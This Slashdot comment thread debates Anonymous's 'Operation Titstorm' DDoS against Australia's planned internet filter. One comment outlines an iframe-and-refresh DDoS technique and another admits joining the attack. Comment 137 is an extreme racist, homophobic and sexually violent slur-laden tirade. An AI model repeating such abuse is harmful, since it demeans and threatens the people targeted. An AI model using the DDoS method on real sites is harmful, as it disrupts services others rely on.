    Fixed that for you.

    >>reason why they were attacking Scientology... was to stir shit and create "lawlz"
    Fixed that for you also.

    >>why shouldn't they refocus their efforts?

    because their efforts are the efforts of a large group of pathetic sub-human idiots, who glory in their perceived freedom from consequences and scatter like little slimy things when their rock is overturned.

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  84. preparing for China buyout? by Anonymous Coward · · Score: 0

    Companies often prepare for M&A by complying with the buyer's rules prior the purchase event. Considering the amount of mining investment that China has in Australia, maybe this censorship is just a prerequisite before the merger?

  85. Re:Oh come on now... Don't encourage them. by selven · · Score: 1

    There are no leaders...willing to own up to their actions
    Fixed that for you.

    No, there actually are no leaders. There are people who get up on (virtual) podiums, present ideas and sometimes get the crowd to implement them but they aren't leaders. Them being anonymous, the group can't rally around specific people. No formal command structure exists at all.

    reason why they were attacking Scientology... was to stir shit and create "lawlz"
    Fixed that for you also.

    Then why don't they attack Mom & Pop's Flower Shop's website, which doesn't have the legal ability to fight back that Scientology has? True bullies that are going out for lulz attack only the weak. The answer is because they, being human beings, don't want to hurt innocent people. Scientology deserves it, because they are an enemy of internet freedom.

    why shouldn't they refocus their efforts?

    because their efforts are the efforts of a large group of pathetic sub-human idiots, who glory in their perceived freedom from consequences and scatter like little slimy things when their rock is overturned.

    If you're part of a guerrilla force and authorities are moving in to your location, you flee. That's how George Washington liberated America, and that's how all groups that aren't strong enough to attack the enemy head on fight. It's not cowardice, it's common sense.

  86. Re:viva revolutsion! by c6gunner · · Score: 1

    Yeah well, before you start a revolution make sure it's something you're really willing to sacrifice your life for, because you might. In this case, I would be willing to wait it out until I could vote some sane people into office.

    I'll bet German dissenters felt the same way.

    "Eh. How bad can this Adolph guy be? Let's just wait until the next election."

    Securing the media and controlling speech are the first steps in ensuring that there are no more elections.

  87. "Titstorm" is a /b/rilliant name by Anonymous Coward · · Score: 0

    DDoS attacks against a government are bound to get into the local media, and hearing "titstorm" is bound to get the common man's attention... because who doesn't like a good pair of ... storms...

  88. Re:viva revolutsion! by Locklin · · Score: 1

    Better idea. Order pizza online and send it to the Australian protests.

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  89. Re:viva revolutsion! by AaxelB · · Score: 1

    Your answer is as stupid as criticising someone's answer on "what to do when attacked by a bear" (run), because it's not "what to do when attacked by a rhinoceros" (climb a tree).

    I'd just like to point out that running from a bear is completely pointless. They can easily run faster than any human, and if they've decided they're going to attack you (say, if you're playing with their cute little baby) you're pretty much fucked. The way to deal with a bear is to convince it not to attack you by not doing anything to make it angry (it almost certainly isn't planning to eat you, so it probably won't attack unless you piss it off), and by making yourself look larger and scarier than it by holding your jacket/pack over your head, standing up straight, making noises, talking (to show that you're human) etc. Of course, then you slowly get the hell out of there.

    I'm not taking issue with anything in your post, but I figured knowing how not to be killed by a bear is useful knowledge that everyone should have.

  90. Yes minister by TapeCutter · · Score: 1

    "Conroy seems ideologically committed to this"

    The operative word there is "seems". On just about every slashdot story concerning this issue I have asked for someone to point to a quote from Conroy where he says he is in favor of implementing a mandatory filter on private computers. There are tons of quotes about how comminted he is to the inquiry and the trial but none that I have seen that says he's committed to implementation.

    The fact is most people in Australia who follow politics are smart enough to see this "yes minister" episode for what it is, ie: a snow job on two independent senators who (under certain circumstances) hold the balance of power in the senate but this is NOT one of those circumstances.

    Now before anyone accuses me of being Conroy's #1 fan, the previous Howard government did exactly the same thing but Labor blocked their mandatory filter legislation in the senate, in other words the two major parties are taking turns at being the good cop (senate) or the bad cop (house of reps).

    Anyone with half a brain and a bit of knowlege on Aussie politics (eg: Conroy) knows this bill will NEVER pass the senate, this is why Conroy has stated that he plans to reintroduce the legislation just before the next election, neither major party wants it to become a double dissolution trigger and would prefer it to be quitely voted down when it can be drowned out by the noise of a federal election.

    Anyone who has bothered to read what the policies of both major parties actually say will find that neither are in favour of mandatory filters on private computers but both are in favour of the current mandatory filters on GOVERNMENT computers (ie: schools) and both are in favour of the current law that says ISP's must offer the mandatory government filter as an opt-in choice for those who want it. That translates to ~5% of users who have opted-in and with those sort of numbers it's obviously not seen as a vote winner by either major party.

    None of this is new, it's a political game. The puritan minority will not go away so the major parties will continue this game because it has effectively kept the puritans busy chasing their own tails for at least a decade.

    As for the independent senators, one of them backed down quite early on, making the football of this game Mr 2%, who has become strangely silent about censorship since his own anti-abortion sponsers "somehow" made it onto the proposed blacklist. It's also worth noting how Mr 2% got his nickname, both major parties have a score to settle with him and he will be gone at the next election, probably to be replaced by some other nutjob senator in a marginal seat who will keep the game alive during their fleeting term in office.

    The game is an unfortunate waste of taxpayers money but OTOH a democracy must provide an avenue for minorites to voice their political opinion even if that opinon is ironically advocating censorship of the opinons of porn lovers they disagree with. Since opertaion titstorm is in effect illegally censoring the government with their DDOS they also fail the same irony test.

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    1. Re:Yes minister by Cassius+Corodes · · Score: 1

      I had heard about this before - and this is what I though was the case. But given how long the game has been going, I am becoming worried that Conroy is in fact committed to this and that the above belief will cause people not to really bother protesting and one day we will find it enacted into law. If this was a game of politics (and above could still be right) then the time to exit would have been after the trial showed it to be ineffective - then they could turn around to the independents and say: we gave it a shot but the technology is just not there. Yet Conroy is still vowing to push this through and in my view chaining himself to the legislation - so that if it fails he will be rather humiliated. Not to mention that he is jeopardising his political career and that of his party by publicly tying himself to a unpopular policy.

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    2. Re:Yes minister by TapeCutter · · Score: 1

      "the time to exit would have been after the trial showed it to be ineffective"

      I don't think either party will exit until the nutjobs exit the senate, there seems to be an endless supply of nutjobs so I think it will continue for the foreseeable future. If the legislation is knocked back a second time as I think it will be then whoever is in power after the next election has even less incentive to pander to the nutjobs and can ask for more in return for kicking off the next round of the game.

      I agree it's damaging Conroy publicly, before the last election Conroy was seen as a contender for the leadership, I think Rudd gave him the job to "test his loyalty". One interesting quote I saw from Conroy when asked about the immorality of the legislation was "you can trust your parliment to do the right thing". I'm not that trusting but I think it was a telling remark.

      OTOH if it does become law, I will grab my pitchfork and join the inevitable lynch mob.

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  91. This is bad news... by Anonymous Coward · · Score: 0

    for the umbrella industry that is.

    I know I'm not getting one for this storm.

  92. yro by AlgorithMan · · Score: 1

    your rights online: none

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  93. Re:Tits or not, no one listens to protestors by thePowerOfGrayskull · · Score: 1

    until you have some real criticism against them?

    How about the fact that their methods of "protesting" are consistently as suppressive as what they're trying to protest? Their arsenal consists solely of "I don't like what you're saying, so you don't get to say it." If any person, corporation, or government did this, we would be outraged. So why would we accept or encourage it from Anonymous? It's certainly no better a behavior coming from what is putatively "our side" than anywhere else. .

    The fact is that Australians have elected their lawmakers. If they don't want this law, it's up to them to change it. If Anon wants to bring attention to to the legislation, that's great. If they want to protest , that's cool too. If they are disrupting services in the name of doing so -- services that people presumably need and use -- that just makes them childish.

    Let the downmod commence, I know it's not popular to be critical of Anonymous here. But is it any surprise that they're viewed as basement-dwelling losers when their only tactic is equivalent to shouting so loud their opposition can't be heard?

  94. We need visual confirmation. by Walter+White · · Score: 1

    A titstorm?

    I want to see this!

  95. Re:Tits or not, no one listens to protestors by stonewallred · · Score: 1

    When I start living in my mom's basement, breathing through my mouth and cruising 4chan, I will keep your sage advice in mind. Until then, I will enjoy crisp chips and such by my cunning utilization of modern technology.

  96. Some stuff should be filtered by Anonymous Coward · · Score: 0

    As far as I can see, plans for Internet filtering in Australia focus on a miniscule number of sites. There are a couple that maybe shouldn't be filtered, but for the most part, the targetted sites host pretty sick stuff. I'm Australian and I have no problem with filtering as proposed thus far, and I have enough faith in our democratic institutions that I'm not too worried that filtering would be abused.

  97. Re:Tits or not, no one listens to protestors by Anonymous Coward · · Score: 0

    The lawmakers are ignoring the people. The Government has been talking about this censorship plan for almost 2 years now and it has never had public support, was ill-defined and has never had a chance of actually working. A week before the election the ALP (current Government) first mentioned this plan and it was *optional*, only after the election did they decide they wanted it to be *mandatory*. On top of that the media wants internet censorship so they aren't giving the issue any air time at all, the only mention of this policy on any nightly news has been spawned by the attacks from Anonymous, in that regard they have been more effective than all the letter writing, petition signing and protesting others are doing.

    This was not voted on as an issue at the last election, it was slid in under the radar.

  98. Re:Tits or not, no one listens to protestors by The+Mighty+Buzzard · · Score: 1

    Yeah, those darn leftist professors.

    I'm sorry, you thought I was spouting a talking point? Sorry, no. You'll have to make do with facts and well thought out arguments. Citation needed? Here you go.

    Like how the students in Iran that protest their government are doing so because they're incited by "leftist professors". Or students protesting against the communists in Soviet Russia or during Ukraine's "Orange Revolution".

    Oh my! You mean fighting an oppressive government isn't a hallmark of the left, even when they're not even when they're not actually being oppressed? Yes, I'd say exactly like that. I just happen to agree with them in those cases. Not having thought out your argument worth a damn doesn't mean you're necessarily wrong, e.g., Sean Hannity. Sean's so stupid it hurts to listen to him. Even when he's right in his position it's for completely the wrong reasons.

    How about all those students protesting against the Iraq war in the USA and the UK?

    Yes. Again, exactly like that. The students protesting that war almost certainly sacrificed little or nothing to the war effort. They protested on behalf of an Iraqi public whose opinion on the matter they didn't care to know and on behalf of the soldiers who volunteered to fight the war. Well thought out, yeah?

    Was that a "left-right" issue.

    Absofuckinglutely. Unless I missed it where all kinds of conservatives were shouting out against the war? I discount the buyer's remorse crowd because it means they were either sheep, too stupid to thoroughly consider their opinion beforehand, or simply saying whatever it took to get elected. In none of the previous cases are their positions of any strength or value whatsoever.

    What exactly is "impressively stupid" about protesting any of the examples I gave?

    See Iraq War protesters. Protesting for a group that you don't have any idea if the majority of that group agree with you (the Iraqi people) is impressively stupid. Protesting on behalf of a group that is overwhelmingly opposed to your viewpoint (members of the US military) is more along the lines of astoundingly stupid.

    Or indeed protesting censorship laws that have been mis-represented to the public which is what the GP was talking about?

    GP(now GGP) was not speaking to the censorship laws or protesting thereof, he was speaking in defense of his hypothesis that being college-aged is not a bad thing. GGP(now GGGP) fired off a trolling snark at college students and said nothing at all on censorship. OP was the one speaking of censorship laws and the protests thereof and I happen to agree with him. This entire argument is a troll-feeding tangent with little to do with TFA. Fun though.

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  99. Maturity by Quiet_Desperation · · Score: 5, Funny

    To be followed by Operation Hooter Hurricane, Operation Mammary Monsoon, Operation Boobie Blizzard, Operation Tata Tornado and Operation Sirocco Of Sweater Puppies.

    I could keep this up all day. :-D

    Yeah, I know. Pathetic.

    1. Re:Maturity by nimid · · Score: 2, Funny

      You can't use some of those names as they'll be confused with future Ubuntu releases.

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  100. Re:Oh come on now... Don't encourage them. by VendettaMF · · Score: 1

    You would, apparently seriously, compare the 4-chan /b/ crowd of bumbling perverted imbeciles thrashing around in pools of their own virtual filth to the secession of the America's from the British Empire?

    It's somehow no surprise that you're unaware that that doesn't qualify as a liberation.

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  101. Wait What? by ae1294 · · Score: 1

    So 4CHAN, er I mean anonymous is doing something constructive for a change? Or are they simply trolling Australia for the Lulz? If the government backs down on the filters will they turn around and fight to have them? I'm confused and scared, what about the children? Won't someone think of the Children... I don't want goatsx in the STREETS, around EVERY corner! O god the horror...

  102. how BIG and small are we talking about here? by spammeister · · Score: 2, Funny

    ( o )( o )
    too small?
    ( O ) ( O )
    just right?

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  103. Re:Oh come on now... Don't encourage them. by Anonymous Coward · · Score: 0

    Protests are largely useless here, 200,000 (unsure on the number, but a very significant number) people protested Australia getting involved in the Afghanistan/Iraq wars and we still went. I doubt 200,000 Australians even know the Rudd Government wants to filter their Internets.

    The EFA is working on this issue. I'd urge all Australian's to sign the petition they will be tabling to the Senate.

    Reporters Without Borders condemning mandatory internet censorship.

    Google.au's views on their plan.

    Many people and organisations are speaking out against this stupid idea, but the Rudd Government is actively ignoring them.

  104. Re:Tits or not, no one listens to protestors by Dr.+Evil · · Score: 1

    "...They protested on behalf of an Iraqi public whose opinion on the matter they didn't care to know and on behalf of the soldiers who volunteered to fight the war. Well thought out, yeah?..."

    "volunteered" to fight the war. That's profoundly uninformed :-(

  105. no, you're wrong because that's impractical by circletimessquare · · Score: 1

    say: the billboards in times square

    you could choose not to go to times square, but assuming you are like every other tourist, that is, you don't plan your media exposure, you just walk into times square and look up at the billboards: those billboards, in an attempt to catch eyes, try to be risque, they constantly push the envelope. what is too risque? PUBLIC policy determines that, and you and your family are exposed to exactly what PUBLIC policy has determined, not wehat you determine

    for better or for worse, the de facto truth, even if you are shut in (television), is that public policy determines what you are exposed too. europe for example, has no problem showing female breasts on tv. americans however FEAR TEH BOOBIE, and will only show wholesome corpses and acts violent murder on television (smirk)

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  106. Re:Tits or not, no one listens to protestors by tehcyder · · Score: 1

    wow, you managed to depict members of an internet-based group as "losers". how incredibly imaginative of you. now how about you shut the fuck up until you have some real criticism against them?

    How about: they're incapable of starting a sentence with a capital letter? Pretty serious in my opinion.

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  107. [citation needed] by Anonymous Coward · · Score: 0

    goodness gracious, it appears that I have broken the internet

    in Austrailaila

  108. Re:viva revolutsion! by tehcyder · · Score: 1

    It's probably worth asking your average soviet era Russian how happy they were with the whole revolution idea too.

    Just as well there was no American revolution and we English still govern the US as a colony. Oh wait...

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  109. Re:Oh come on now... Don't encourage them. by tehcyder · · Score: 1

    Where is the Amnesty protest?

    I didn't realise that the Australian government was going to illegally imprison and torture people over this.

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  110. Re:Tits or not, no one listens to protestors by The+Mighty+Buzzard · · Score: 1

    I'll grant you the first two years weren't voluntary, and possibly even some of those recalled from IRR (though they knew this could be done, it's in their contract and explained when they sign it), but the majority were entirely voluntary knowing exactly what they would be doing.

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  111. Re:Oh come on now... Don't encourage them. by Anonymous Coward · · Score: 0

    *sigh* Not supposed to reply to a troll trolling trolls etc etc but...

    No, there actually are no leaders. There are people who get up on (virtual) podiums, present ideas and sometimes get the crowd to implement them but they aren't leaders. Them being anonymous, the group can't rally around specific people. No formal command structure exists at all.

    I'm sorry, I simply refuse to believe that some guy on 4chan goes "We should protest outside against Australia", followed by 10.000 nerds dressing up as Raptor Jesus or start wearing Guy Fawkes masks. As much as 4chan prides itself on an anonymous hive-mind mentality, I think that some people cleverly use the masses using their most prized anonymity as a tool to mislead them. Having said that, perhaps I have grown too cynical to believe that a group of people spontaneously organizes into protest without having someone with an ulterior motive. Even an angry uncoordinated mob listens to the voice that shouts loudest, which per definition makes him the leader.

    reason why they were attacking Scientology... was to stir shit and create "lawlz"

    Then why don't they attack Mom & Pop's Flower Shop's website, which doesn't have the legal ability to fight back that Scientology has? True bullies that are going out for lulz attack only the weak. The answer is because they, being human beings, don't want to hurt innocent people. Scientology deserves it, because they are an enemy of internet freedom.

    Nah, I find that hard to believe. I think most people that took part in the scientology protests were people going to a 4chan meetup dressed up as a meme "for the lulz". If 10% of the people there were actually there to protest I'd say that would be a lot. But instead of a protest you get 15 year olds holding signs with "longcat is loooooooooong", nervously looking around them. The protests even made the local news, with a spotty geeky kid trying oh so hard to explain what he's protesting against wearing a giant afro wig and failing miserably even to explain what the hell was wrong with scientology other than mumbling something about the internet.

    I'd love to believe that there's a bunch of adolescents and college students protesting something they believe is wrong, but the reality is that the reputation the 4chan crowd has gotten isn't completely undeserved, and that is the one thing that is going to prevent anyone from taking you seriously.

  112. I think I've been scammed, ol chap! by Anonymous Coward · · Score: 0

    Wait, so who's this guy I've been sending my membership dues to?!!!!

  113. Re:Tits or not, no one listens to protestors by martas · · Score: 0, Troll

    does it annoy you when i do that? does a lack of proper use of capitals make you uncomfortable? then try this on for size:

    this is a sentence.
    i write "i" as just i, not capital i.
    god.
    dalai-lama.
    oh-bama!
    panorama.
    futurama.
    healthcare reform.

  114. Is that really true? by Anonymous Coward · · Score: 0

    I have seen that posted over 9000 times in this discussion, but I suspect that this is more nuanced than the btards are leading us to believe.

    Can anyone confirm whether or not this is actually true?

    1. Re:Is that really true? by electrons_are_brave · · Score: 1
      The Australian Classification Board stated that - when deciding whether material is pedophillic or not - they take into account the appearance of the model/actress as well as their actual age (if they know the age).

      Breast size is one of these criteria. So, the picture could be of an 18 year old, but an 18 year old who - given that age doesn't determine how old you look - appears to be 14. So bald pubic region, small breasts, slim hips with not much waist, photographed to look you and so on.

      As far as I can see, no one has even mentioned banning small breats per se.

      It's an interesting issue for me because a couple of years ago there was a billboard ad for Target (a kind of wal-mart like shop in Australia) which used a girl who was over 18 but looked 15 or so. She was posed with a lollipop in a Lolita-style way wearing short shorts.

      The outrage in that case was that it send bad messages to young girls about how they had to look sexy (heels for pre-teens came in at about the same time).

      It's always confusing for me because on one side there is the issue of censorship (which I oppose), then there is the increasingly widespread commodification of sex, use of pedophillic images, sexualisation of young teens and body image issues for females which I oppose.

      In any case, the claims being made about "small breasts have been banned" in the sense "you could be 40 and still not show your peddo-bait breasts" is crap.

  115. Re:viva revolutsion! by NotBornYesterday · · Score: 1

    Do you equate "disagree" with "violate"? I can disagree all I want and not go to jail. I can protest all I want and not go jail, or at least not for more than a few hours on an iffy disturbing-the-peace charge. I can fight censorship, campaign for office to change the laws, and do a whole boatload of things to oppose censorship without putting myself in any serious danger of loss of life of freedom.

    However, if my form of "disagree" or protest is to possess child porn, I'd be in danger regardless of any laws censoring the internet.

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  116. Misrepresented by hrimhari · · Score: 1

    I don't know about you, but I wouldn't feel represented by hackers cracking into websites. I also don't think that to be the best approach for protesting against net censoring laws. At best, it increases the general population's feeling that WWW is actually World Wild Web and that something has to be done to tame it. It just happens that the Aussie Government may be doing the wrong something.

    How would it be like if the Al Qaida began a terrorism campaign to protest against the latest anti-freedom measures adopted in the US?

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  117. Re:viva revolutsion! by Anonymous Coward · · Score: 0

    When protesters in the Middle East rant and rave outside the gates of the US Embassy in their country, do you think our government's policy is changed as a result?

    Yes, though not because of the protesters themselves but rather the uproar at home that the protesters raised.

  118. second class citizen by Anonymous Coward · · Score: 0

    The article made it clear that the government believes small-breasted women are second-class citizens, and are not deserving of the same rights as large-breasted women.

    Any man who is presently dating or married to a small-breasted woman is obviously a pedophile, and should be procesecuted as such to the full extent of the law.

    Also, any man who claims that he doesn't buy into the bigger-is-better notion, and preferrs small-breasted women, falls into the same category.

    Also, all small-breasted women should be legally required to have their breasts surgically enlarged, otherwise the women will be breaking obscenity laws whenever they walk around in public.

  119. Re:'Anonymous' another way of saying 'the people'? by noidentity · · Score: 1

    well, it makes them look more powerful, so... i say go for it! life is more fun with omnipresent vigilantes/supervillains (exactly which description fits them best depends on the beholder, or course).

    There are advantages, but I think it allows demonization in the end. Instead of "thousands of people marched in protest", it's "thousands of members of Anonymous marched in protest". At least for me, the latter is more easily written off as some fringe group whose views are shaped by small group of leaders.

  120. Re:viva revolutsion! by phantomfive · · Score: 1

    I'll bet German dissenters felt the same way.

    They didn't, the ones that spoke out were killed by the Nazis. When people who speak out get killed, that is a reasonable time to start a revolution. So far no one is getting killed for this in Australia, not even close.

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  121. Re:Tits or not, no one listens to protestors by Anonymous Coward · · Score: 0

    NO U

  122. Unethical and sexist by FoolishOwl · · Score: 1

    This is an example of a political protest done very badly. A distributed denial of service attack is unethical, to begin with, and thus would alienate many potential allies. Adopting an egregiously sexist title for it makes it worse, alienating more. All in all, this reads like a protest calculated to win support for the government's position.

    1. Re:Unethical and sexist by maugle · · Score: 1

      Which is more sexist: The name "Operation Titstorm", or a politician saying that small-breasted women are effectively children?

    2. Re:Unethical and sexist by FoolishOwl · · Score: 1

      The sexism of the latter doesn't justify the sexism of the former. It just adds up to more sexism.

  123. Re:Tits or not, no one listens to protestors by computational+super · · Score: 1
    How about the fact that their methods of "protesting" are consistently as suppressive as what they're trying to protest?

    Uh, yeah, that's the point, Sherlock. "You censor us, we censor you. Sucks, doesn't it? This is the internet. You don't make the rules here, we do. You stop, we stop."

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  124. Re:viva revolutsion! by SilentSandman · · Score: 1

    No, I don't equate those two. Distasteful as the child pornography idea is, it is still a thought-crime law, and that's a very slippery slope for the government to have gone down. We're already seeing the start of this. First it's possession of images of a criminal act, then it's 'artificially replicated' versions (re; simpsons porn = child porn?), next is 'things that kinda look similar' (small breasted women = child porn?). Add in the fact that our current government has openly equated disagreement with their policy to 'advocating such crimes', and at the very least the slander begins to be an issue.

    Sure,... they've not locked anyone away -yet-, for simply disagreeing.

  125. Re:viva revolutsion! by Anonymous Coward · · Score: 0

    That list is way too complicated. All you have to do is run faster than whoever you're with.

  126. Re:Tits or not, no one listens to protestors by Philip_the_physicist · · Score: 1

    To be fair to the /b/tards, if their physical age matches the typical mental age, wanting porn of people their own age would be fairly reasonable. They probably find it funny because annoying the mods is funny, and CP would be the best way to do that.

  127. Re:Oh come on now... Don't encourage them. by GrubLord · · Score: 1

    You're right that these kinds of protests are just about useless over here. I'm a bit disillusioned myself.

    That doesn't mean we should lash out at those who want to help (even if it is "for the lulz").

  128. Re:Oh come on now... Don't encourage them. by GrubLord · · Score: 1

    Fair enough, they have better things to do, but this is a human rights issue too.

    Dare I say, their protests to lift censorship might even be more effective than writing polite letters to totalitarian leaders asking for the release of political prisoners.

  129. Re:Oh come on now... Don't encourage them. by selven · · Score: 1

    You see them as 13 year old losers in their mothers' basements. I see them as the future of decentralization and democracy and most likely similar to the means through which the revolution people keep advocating around here will happen. It won't be guns or bombs, it'll be people with computers online behind cryptographically secure anonymity.

    They're young and immature now, just wait and see what they become.

  130. Nothing new here. by Anonymous Coward · · Score: 0

    The method was simple: a webpage with a bunch of iframes that sourced the target, and a javascript onload that refreshed the page. How could it get any simpler?

    I used to work for a certain major advertising network. I am aware of several incidents where staff members placed hidden IFRAME tags (pointing at sites they didn't like) in ad creatives that were distributed across absolutely massive web properties. The increase in traffic must have crushed many of the victim servers.

    If you surfed the web in the last ten years with an IFRAME capable browser, you've probably been an unknowing participant in a DDOS. You've all seen ads from said network.

    You so bad! Blackhat hackah!

  131. Re:Oh come on now... Don't encourage them. by VendettaMF · · Score: 1

    >> just wait and see what they become.

    Unemployable meth-addicted man-children.
    Convicts and ex-convicts.
    Child molesters and rapists.

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  132. Re:viva revolutsion! by Anonymous Coward · · Score: 0

    Protests outside the US embassy in a middle eastern country will do what? damage the US' image in that country? hardly; plus, who cares?

    On the other hand, damaging Australia's image in the US might turn more heads than you think.

  133. Re:Oh come on now... Don't encourage them. by Anonymous Coward · · Score: 0

    Anonymous is trying to cause idiocy and aggravation "for the lolz", not to actually benefit anyone other than their own immature hordes of circle-jerking failures.

    That couldn't be farther from the truth.

    I personally do not watch child porn, and would be delighted if it disappeared from the planet. However, I do not approve of arbitrary censorship based on attributes that may or may not indicate the legality of something. So I helped out with the DDoS for a while. Oh, and if they did block something it wouldn't affect me at all - I'm not even close to Australia.

    It's true that some Anonymous aren't about much more than masturbation, but please don't apply that to us as a whole.

  134. Re:Tits or not, no one listens to protestors by thePowerOfGrayskull · · Score: 1

    How about the fact that their methods of "protesting" are consistently as suppressive as what they're trying to protest?

    Uh, yeah, that's the point, Sherlock. "You censor us, we censor you. Sucks, doesn't it? This is the internet. You don't make the rules here, we do. You stop, we stop."

    In other words "Do as I say, not as I do".

    Yep, that sounds like a great way to accomplish something. Principles are great, but only if you apply them consistently - even and perhaps especially when the other party doesn't.

  135. Re:Tits or not, no one listens to protestors by computational+super · · Score: 1
    In other words "Do as I say, not as I do".

    No, in other words, "See how it feels?"

    Idiot.

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  136. It's perfectly natural. by Grendel+Drago · · Score: 1

    College age is the maximum of two trendlines, taken together. As we grow older, we acquire responsibilities, take on power to decide our own actions. But this means that we become caught up in the details; our gaze falls from the horizon; we end up looking at our own feet and just trying to get by without rocking our precarious little boats.

    The moment when we're most free to change the world, when the desire burns brightest in us, is that age. No wonder college kids do so much protesting and working--their sharp edges haven't been worn down yet.

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  137. Re:Tits or not, no one listens to protestors by stonewallred · · Score: 1

    Whoever modded this as a troll, fuck you! I hope your mother, wife and daughters get assraped by a pack of howling niggers and you get to watch, then are not allowed to lick the cum out their assholes. You are a fucking faggot piece of shit who gets buttfucked every night by your momma who wears a 20" strap on and plows your ass before making you suck nigger dick until you choke on all the cum. Fucktard mother-fucking asshat bastard faggot!!!!!!!!!!!

  138. Re:Tits or not, no one listens to protestors by thePowerOfGrayskull · · Score: 1

    When you react to somebody else's suppression or censorship with suppression or censorship of your own, you have no moral ground to stand on. You can be easily dismissed as "hackers" or "loser basement dwellers" then, by the very same people you're trying to convince to enact change.

    Name-calling doesn't change the validity of this point.